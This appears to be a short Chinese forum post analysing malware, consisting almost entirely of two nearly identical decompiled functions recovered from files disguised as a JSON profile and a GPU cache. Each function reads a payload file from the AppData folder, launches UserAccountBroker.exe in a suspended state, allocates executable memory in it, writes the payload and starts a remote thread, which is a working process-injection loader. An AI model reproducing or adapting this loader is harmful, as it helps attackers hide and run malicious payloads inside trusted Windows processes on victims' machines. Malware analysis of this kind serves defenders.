这Shellcode,一眼顶真:
C:\Users\PC\AppData\Local\Profiler.json
- __int64 __fastcall sub_18C77(__int64 a1, char a2)
- {
- int i; // [rsp+50h] [rbp-358h]
- int j; // [rsp+54h] [rbp-354h]
- int k; // [rsp+58h] [rbp-350h]
- unsigned int v6; // [rsp+5Ch] [rbp-34Ch]
- __int64 v7; // [rsp+60h] [rbp-348h]
- char v8[16]; // [rsp+68h] [rbp-340h] BYREF
- char v9[16]; // [rsp+78h] [rbp-330h] BYREF
- char v10[8]; // [rsp+88h] [rbp-320h] BYREF
- char v11[48]; // [rsp+90h] [rbp-318h] BYREF
- __int64 v12; // [rsp+C0h] [rbp-2E8h]
- __int64 v13; // [rsp+C8h] [rbp-2E0h]
- __int64 v14[3]; // [rsp+D0h] [rbp-2D8h] BYREF
- int v15; // [rsp+E8h] [rbp-2C0h] BYREF
- __int64 v16; // [rsp+F0h] [rbp-2B8h] BYREF
- __int64 v17; // [rsp+F8h] [rbp-2B0h]
- __int64 v18; // [rsp+100h] [rbp-2A8h] BYREF
- int v19[28]; // [rsp+110h] [rbp-298h] BYREF
- char v20[272]; // [rsp+180h] [rbp-228h] BYREF
- char v21[280]; // [rsp+290h] [rbp-118h] BYREF
- memset(v21, 0, 0x104ui64);
- strcpy(v10, "APPDATA");
- (*(void (__fastcall **)(char *, char *, __int64))(a1 + 64))(v10, v21, 260i64);
- memset(v20, 0, 0x104ui64);
- for ( i = 0; v21[i]; ++i )
- v20[i] = v21[i];
- if ( a2 )
- {
- strcpy(v9, "\\GPUCache2.xml");
- for ( j = 0; v9[j]; ++j )
- v20[j + i] = v9[j];
- v20[j + i] = 0;
- }
- else
- {
- strcpy(v8, "\\GPUCache.xml");
- for ( k = 0; v8[k]; ++k )
- v20[k + i] = v8[k];
- v20[k + i] = 0;
- }
- v12 = (*(__int64 (__fastcall **)(char *, __int64, __int64, _QWORD, int, int, _QWORD))(a1 + 40))(
- v20,
- 0x80000000i64,
- 1i64,
- 0i64,
- 3,
- 128,
- 0i64);
- if ( v12 == -1 )
- return 0i64;
- v6 = (*(__int64 (__fastcall **)(__int64, _QWORD))(a1 + 48))(v12, 0i64);
- if ( v6
- && (v7 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, __int64, __int64))(a1 + 24))(0i64, v6, 12288i64, 4i64)) != 0 )
- {
- v15 = 0;
- if ( (*(unsigned int (__fastcall **)(__int64, __int64, _QWORD, int *, _QWORD))(a1 + 56))(v12, v7, v6, &v15, 0i64) )
- {
- (*(void (__fastcall **)(__int64))(a1 + 120))(v12);
- v16 = 0i64;
- (*(void (__fastcall **)(__int64 *))(a1 + 128))(&v16);
- strcpy(v11, "C:\\Windows\\SysWOW64\\UserAccountBroker.exe");
- memset(v19, 0, 0x68ui64);
- v19[0] = 104;
- memset(v14, 0, sizeof(v14));
- if ( (*(unsigned int (__fastcall **)(char *, _QWORD, _QWORD, _QWORD, _DWORD, int, _QWORD, _QWORD, int *, __int64 *))(a1 + 72))(
- v11,
- 0i64,
- 0i64,
- 0i64,
- 0,
- 4,
- 0i64,
- 0i64,
- v19,
- v14) )
- {
- (*(void (__fastcall **)(__int64))(a1 + 136))(v16);
- v13 = (*(__int64 (__fastcall **)(__int64, _QWORD, _QWORD, __int64, int))(a1 + 80))(
- v14[0],
- 0i64,
- v6,
- 12288i64,
- 64);
- if ( v13 )
- {
- v18 = 0i64;
- if ( (*(unsigned int (__fastcall **)(__int64, __int64, __int64, _QWORD, __int64 *))(a1 + 104))(
- v14[0],
- v13,
- v7,
- v6,
- &v18)
- && (v17 = (*(__int64 (__fastcall **)(__int64, _QWORD, _QWORD, __int64, _QWORD, _DWORD, _QWORD))(a1 + 96))(
- v14[0],
- 0i64,
- 0i64,
- v13,
- 0i64,
- 0,
- 0i64)) != 0 )
- {
- (*(void (__fastcall **)(__int64))(a1 + 112))(v14[1]);
- (*(void (__fastcall **)(__int64, _QWORD, __int64))(a1 + 32))(v7, 0i64, 0x8000i64);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v17);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v14[0]);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v14[1]);
- return 1i64;
- }
- else
- {
- (*(void (__fastcall **)(__int64, __int64, _QWORD, __int64))(a1 + 88))(v14[0], v13, 0i64, 0x8000i64);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v14[0]);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v14[1]);
- (*(void (__fastcall **)(__int64, _QWORD, __int64))(a1 + 32))(v7, 0i64, 0x8000i64);
- return 0i64;
- }
- }
- else
- {
- (*(void (__fastcall **)(__int64))(a1 + 120))(v14[0]);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v14[1]);
- (*(void (__fastcall **)(__int64, _QWORD, __int64))(a1 + 32))(v7, 0i64, 0x8000i64);
- return 0i64;
- }
- }
- else
- {
- (*(void (__fastcall **)(__int64))(a1 + 136))(v16);
- (*(void (__fastcall **)(__int64, _QWORD, __int64))(a1 + 32))(v7, 0i64, 0x8000i64);
- return 0i64;
- }
- }
- else
- {
- (*(void (__fastcall **)(__int64, _QWORD, __int64))(a1 + 32))(v7, 0i64, 0x8000i64);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v12);
- return 0i64;
- }
- }
- else
- {
- (*(void (__fastcall **)(__int64))(a1 + 120))(v12);
- return 0i64;
- }
- }
复制代码
C:\Users\PC\AppData\Roaming\Embarcadero\GPUCache.xml
- __int64 __fastcall sub_3044F(__int64 a1, char a2)
- {
- int i; // [rsp+50h] [rbp-358h]
- int j; // [rsp+54h] [rbp-354h]
- int k; // [rsp+58h] [rbp-350h]
- unsigned int v6; // [rsp+5Ch] [rbp-34Ch]
- __int64 v7; // [rsp+60h] [rbp-348h]
- char v8[16]; // [rsp+68h] [rbp-340h] BYREF
- char v9[16]; // [rsp+78h] [rbp-330h] BYREF
- char v10[8]; // [rsp+88h] [rbp-320h] BYREF
- char v11[48]; // [rsp+90h] [rbp-318h] BYREF
- __int64 v12; // [rsp+C0h] [rbp-2E8h]
- __int64 v13; // [rsp+C8h] [rbp-2E0h]
- __int64 v14[3]; // [rsp+D0h] [rbp-2D8h] BYREF
- int v15; // [rsp+E8h] [rbp-2C0h] BYREF
- __int64 v16; // [rsp+F0h] [rbp-2B8h] BYREF
- __int64 v17; // [rsp+F8h] [rbp-2B0h]
- __int64 v18; // [rsp+100h] [rbp-2A8h] BYREF
- int v19[28]; // [rsp+110h] [rbp-298h] BYREF
- char v20[272]; // [rsp+180h] [rbp-228h] BYREF
- char v21[280]; // [rsp+290h] [rbp-118h] BYREF
- memset(v21, 0, 0x104ui64);
- strcpy(v10, "APPDATA");
- (*(void (__fastcall **)(char *, char *, __int64))(a1 + 64))(v10, v21, 260i64);
- memset(v20, 0, 0x104ui64);
- for ( i = 0; v21[i]; ++i )
- v20[i] = v21[i];
- if ( a2 )
- {
- strcpy(v9, "\\config2.ini");
- for ( j = 0; v9[j]; ++j )
- v20[j + i] = v9[j];
- v20[j + i] = 0;
- }
- else
- {
- strcpy(v8, "\\config.ini");
- for ( k = 0; v8[k]; ++k )
- v20[k + i] = v8[k];
- v20[k + i] = 0;
- }
- v12 = (*(__int64 (__fastcall **)(char *, __int64, __int64, _QWORD, int, int, _QWORD))(a1 + 40))(
- v20,
- 0x80000000i64,
- 1i64,
- 0i64,
- 3,
- 128,
- 0i64);
- if ( v12 == -1 )
- return 0i64;
- v6 = (*(__int64 (__fastcall **)(__int64, _QWORD))(a1 + 48))(v12, 0i64);
- if ( v6
- && (v7 = (*(__int64 (__fastcall **)(_QWORD, _QWORD, __int64, __int64))(a1 + 24))(0i64, v6, 12288i64, 4i64)) != 0 )
- {
- v15 = 0;
- if ( (*(unsigned int (__fastcall **)(__int64, __int64, _QWORD, int *, _QWORD))(a1 + 56))(v12, v7, v6, &v15, 0i64) )
- {
- (*(void (__fastcall **)(__int64))(a1 + 120))(v12);
- v16 = 0i64;
- (*(void (__fastcall **)(__int64 *))(a1 + 128))(&v16);
- strcpy(v11, "C:\\Windows\\SysWOW64\\UserAccountBroker.exe");
- memset(v19, 0, 0x68ui64);
- v19[0] = 104;
- memset(v14, 0, sizeof(v14));
- if ( (*(unsigned int (__fastcall **)(char *, _QWORD, _QWORD, _QWORD, _DWORD, int, _QWORD, _QWORD, int *, __int64 *))(a1 + 72))(
- v11,
- 0i64,
- 0i64,
- 0i64,
- 0,
- 4,
- 0i64,
- 0i64,
- v19,
- v14) )
- {
- (*(void (__fastcall **)(__int64))(a1 + 136))(v16);
- v13 = (*(__int64 (__fastcall **)(__int64, _QWORD, _QWORD, __int64, int))(a1 + 80))(
- v14[0],
- 0i64,
- v6,
- 12288i64,
- 64);
- if ( v13 )
- {
- v18 = 0i64;
- if ( (*(unsigned int (__fastcall **)(__int64, __int64, __int64, _QWORD, __int64 *))(a1 + 104))(
- v14[0],
- v13,
- v7,
- v6,
- &v18)
- && (v17 = (*(__int64 (__fastcall **)(__int64, _QWORD, _QWORD, __int64, _QWORD, _DWORD, _QWORD))(a1 + 96))(
- v14[0],
- 0i64,
- 0i64,
- v13,
- 0i64,
- 0,
- 0i64)) != 0 )
- {
- (*(void (__fastcall **)(__int64))(a1 + 112))(v14[1]);
- (*(void (__fastcall **)(__int64, _QWORD, __int64))(a1 + 32))(v7, 0i64, 0x8000i64);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v17);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v14[0]);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v14[1]);
- return 1i64;
- }
- else
- {
- (*(void (__fastcall **)(__int64, __int64, _QWORD, __int64))(a1 + 88))(v14[0], v13, 0i64, 0x8000i64);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v14[0]);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v14[1]);
- (*(void (__fastcall **)(__int64, _QWORD, __int64))(a1 + 32))(v7, 0i64, 0x8000i64);
- return 0i64;
- }
- }
- else
- {
- (*(void (__fastcall **)(__int64))(a1 + 120))(v14[0]);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v14[1]);
- (*(void (__fastcall **)(__int64, _QWORD, __int64))(a1 + 32))(v7, 0i64, 0x8000i64);
- return 0i64;
- }
- }
- else
- {
- (*(void (__fastcall **)(__int64))(a1 + 136))(v16);
- (*(void (__fastcall **)(__int64, _QWORD, __int64))(a1 + 32))(v7, 0i64, 0x8000i64);
- return 0i64;
- }
- }
- else
- {
- (*(void (__fastcall **)(__int64, _QWORD, __int64))(a1 + 32))(v7, 0i64, 0x8000i64);
- (*(void (__fastcall **)(__int64))(a1 + 120))(v12);
- return 0i64;
- }
- }
- else
- {
- (*(void (__fastcall **)(__int64))(a1 + 120))(v12);
- return 0i64;
- }
- }
复制代码 |